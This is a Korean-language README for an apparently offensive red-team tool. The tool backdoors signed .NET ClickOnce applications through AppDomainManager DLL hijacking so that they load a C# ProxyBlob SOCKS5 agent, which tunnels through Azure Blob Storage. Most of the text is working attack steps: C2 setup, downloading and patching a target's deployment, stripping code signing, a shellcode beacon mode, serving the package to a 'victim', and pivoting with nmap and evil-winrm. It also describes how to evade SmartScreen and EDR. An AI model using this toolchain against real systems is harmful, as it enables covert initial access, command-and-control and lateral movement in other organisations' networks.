
서명된 .NET ClickOnce 애플리케이션을 무기화하여 종속성 DLL을 AppDomainManager 인젝션으로 하이재킹하고 ProxyBlob 에이전트의 C# 포트를 로드함으로써 초기 접근을 달성합니다.

서명된 .NET ClickOnce 애플리케이션을 무기화하여 AppDomainManager 주입을 통해 종속 DLL을 가로채고 C#으로 포팅된 ProxyBlob 에이전트를 로드함으로써 초기 접근을 확보합니다. ProxyBlob의 C# 포트를 포함합니다. ProxyBlob은 모든 트래픽을 Azure Blob Storage를 통해 터널링하는 SOCKS5 프록시로, *.blob.core.windows.net이 허용된 환경에 자연스럽게 녹아듭니다.
ClickOnce는 .NET 앱을 위한 Microsoft의 원클릭 배포 기술입니다. 사용자가 .application URL을 클릭하면 Windows가 앱을 다운로드하여 관리자 권한 없이 실행합니다. 공격 과정:
.exe.config를 주입합니다.호스트 .exe는 변경되지 않고 유효하게 서명된 상태로 남습니다. SmartScreen은 알려진 바이너리로 인식합니다. EDR은 신뢰할 수 있는 프로세스가 모듈을 로드하는 것으로 봅니다. 에이전트는 HTTPS를 통해 Azure Blob Storage와만 통신합니다.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
공격자 (Linux/macOS):
빌드 머신 (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe에 위치 (자동 감지)nuget.exe를 스크립트 옆에 배치하거나 PATH에 추가 (오직 --proxyblob 모드에만 필요)스크립트는 csc.exe와 nuget.exe를 자동 감지합니다. --proxyblob 모드의 경우, BouncyCastle과 ILMerge가 첫 실행 시 NuGet을 통해 스크립트 옆의 packages/ 디렉터리에 자동 설치되며 (이후 실행에도 유지됩니다).
에이전트 코드는 아키텍처 중립적입니다(P/Invoke, 셸코드 없음). --platform 플래그(csc.exe /platform:에 전달)는 CLR이 이를 로드하는 방식을 제어합니다:
corflags.exe TargetApp.exe로 대상 앱을 확인하여 플랫폼을 결정하세요.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
또는 로컬에서 Azurite 사용:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
프록시 셸에서:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

해당 연결 문자열을 저장하세요 — 에이전트에 사용됩니다.
ClickOnce 통합 전에 항상 에이전트가 독립적으로 작동하는지 확인하세요.
Windows 빌드 머신에서:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
프록시로 돌아와서:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
테스트:
proxychains curl http://ipconfig.io
이것이 작동하면 ClickOnce 통합으로 진행하세요.
정찰 중 대상 ClickOnce 앱을 찾으세요 (.application URL 검색). 다음이 필요합니다:
전체 ClickOnce 배포를 다운로드하세요:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

스크립트는 C# 소스를 자동 컴파일하고, NuGet 종속성을 처리하며 (--proxyblob 모드), BouncyCastle을 DLL로 ILMerge하고, 모든 매니페스트를 패치합니다 — 단일 실행으로 모두 처리합니다:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

스크립트는 다음을 처리합니다: 설정이 포함된 C# 소스 생성, csc.exe를 통한 컴파일, BouncyCastle ILMerge (--proxyblob 모드), DLL 교체, AppDomainManager 주입이 포함된 .exe.config 생성, 두 파일을 매니페스트에 추가, 모든 SHA256 해시와 파일 크기 재계산, 코드 서명 제거, 공급업체 publicKeyToken 초기화, 배포 공급자 URL 업데이트.
수동 오버라이드: 미리 컴파일된 DLL을 제공하려면 --payload를 사용할 수 있습니다 (컴파일 건너뜀):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge 어셈블리 이름 주의: ILMerge는 입력 파일명이 아닌 출력 파일명에서 내부 어셈블리 이름을 설정합니다.
Foo_merged.dll로 병합한 후 파일 이름을Foo.dll로 변경하면 내부 이름은 여전히Foo_merged입니다 — CLR은 메타데이터를 읽으며 파일명을 읽지 않습니다..exe.config가 일치하지 않으면 AppDomainManager 주입이 오류 없이 조용히 실패합니다. 스크립트는 최종 이름으로 직접 ILMerge하여 이를 올바르게 처리합니다.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

또는 다음 MIME 유형이 구성된 웹 서버를 사용하세요:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
피해자에게 전송: http://YOUR-SERVER/APPLICATION.application
피해자가 설치를 클릭 → 앱이 실행 → SOCKS5 터널이 열립니다.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



테스트 배포 간에 정리:
rundll32 dfshim CleanOnlineAppCache
디버깅을 위해 먼저 ProxyBlobStandalone.cs를 사용하세요 — 패킷 유형, 연결 이벤트 및 오류를 보여주는 상세 로그를 stderr에 기록합니다. 작동이 확인되면 ClickOnce 통합을 위해 ProxyBlobAgent.cs로 전환하세요.
에이전트는 Go ProxyBlob 에이전트를 충실히 포팅한 것입니다. 포팅 과정에서 세 가지 중요한 버그를 발견하여 수정했습니다:
1. UUID 바이트 순서 — Go의 uuid.UUID는 RFC 4122 (빅 엔디언) 순서로 16바이트를 저장합니다. .NET의 Guid 생성자는 처음 3개 구성 요소를 리틀 엔디언으로 변환하여 ConnectionID 불일치를 유발합니다. 수정: 원시 byte[16] 배열 사용.
2. XChaCha20-Poly1305 — Go는 chacha20poly1305.NewX()를 사용하여 24바이트 논스의 XChaCha20을 사용합니다. BouncyCastle의 ChaCha20Poly1305는 12바이트 IETF 논스만 지원합니다. 수정: HChaCha20 서브키 유도 방식 구현:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Base64 패딩 — Go는 base64.RawStdEncoding을 사용합니다(= 패딩 없음). .NET은 패딩이 필요합니다. 수정: 디코딩 전 자동 패딩 추가.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net으로만 전송 — 합법적인 Azure 트래픽과 혼합.exe는 유효하게 서명된 상태 유지 — 종속 DLL과 .config만 수정됨APPLICATION)이 도구는 승인된 보안 테스트 및 연구 목적으로만 사용됩니다. 명시적인 서면 허가를 받은 시스템에 대해서만 사용하세요.
--platform | Runs on x86 Windows | Runs on x64 Windows | When to use |
|---|
x86 (기본값) | 32-bit | 32-bit (WoW64) | 대상 앱이 x86인 경우 |
x64 | ✗ | 64-bit | 대상 앱이 x64인 경우 |
anycpu | 32-bit | 64-bit | 독립 테스트 또는 대상이 AnyCPU인 경우 |
| 오류 | 해결 방법 |
|---|
csc.exe not found | .NET Framework 4.x를 설치하거나 csc.exe를 PATH에 추가하세요 |
nuget.exe not found | nuget.org에서 다운로드하여 스크립트 옆에 배치하거나 PATH에 추가하세요 |
CS0012: type 'Object' ... netstandard | csc 명령에 /r:netstandard.dll을 추가하세요 |
Metadata file ... net461 ... not found | netstandard2.0 BouncyCastle 경로를 사용하세요 |
| 증상 | 원인 | 해결 방법 |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL이 포함되지 않음 | ILMerge를 사용하여 단일 DLL로 생성 |
| ClickOnce 실행 후 AppDomainManager가 로드되지 않음 | 내부 어셈블리 이름 불일치 | 어셈블리 이름이 .exe.config와 일치해야 함. ildasm /text Dll.dll | findstr ".assembly"로 확인 |
| 에이전트가 코드 3으로 종료됨 | 연결 문자열이 유효하지 않거나 만료됨 | 프록시에서 create로 다시 생성 |
| ClickOnce 설치가 조용히 실패함 | 매니페스트 해시 불일치 | 자동화 스크립트를 다시 실행하거나 SHA256 해시를 수동으로 재계산 |
설치 중 RefDefValidation 오류 | 타사 DLL 강력한 이름 토큰이 초기화됨 | 스크립트는 공급업체 토큰만 초기화합니다. 필요한 경우 --dll-name을 사용하여 페이로드 DLL 이름을 설정하세요 |